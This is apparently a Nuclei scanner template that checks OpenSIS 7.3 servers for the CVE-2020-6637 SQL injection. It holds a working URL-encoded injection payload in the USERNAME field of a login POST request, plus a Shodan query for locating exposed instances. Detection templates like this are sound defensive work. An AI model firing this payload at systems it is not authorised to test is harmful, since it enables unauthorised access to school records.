id: CVE-2020-6637

info:
  name: OpenSIS 7.3 - SQL Injection
  author: pikpikcu
  severity: critical
  description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of OpenSIS.
  reference:
    - https://cinzinga.com/CVE-2020-6637/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6637
    - https://sourceforge.net/projects/opensis-ce/files/
    - https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8
    - https://opensis.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-6637
    cwe-id: CWE-89
    epss-score: 0.02003
    epss-percentile: 0.87583
    cpe: cpe:2.3:a:os4ed:opensis:7.3:*:*:*:community:*:*:*
  metadata:
    max-request: 3
    vendor: os4ed
    product: opensis
    shodan-query: http.title:"openSIS"
  tags: cve,cve2020,sqli,opensis,os4ed

http:
  - method: POST
    path:
      - '{{BaseURL}}/account/index.php'
      - '{{BaseURL}}/opensis/index.php'
      - '{{BaseURL}}/index.php'

    body: |
      USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'SQL STATEMENT:'
          - "<TD>UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')</TD>"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
        condition: and

      - type: status
        status:
          - 200
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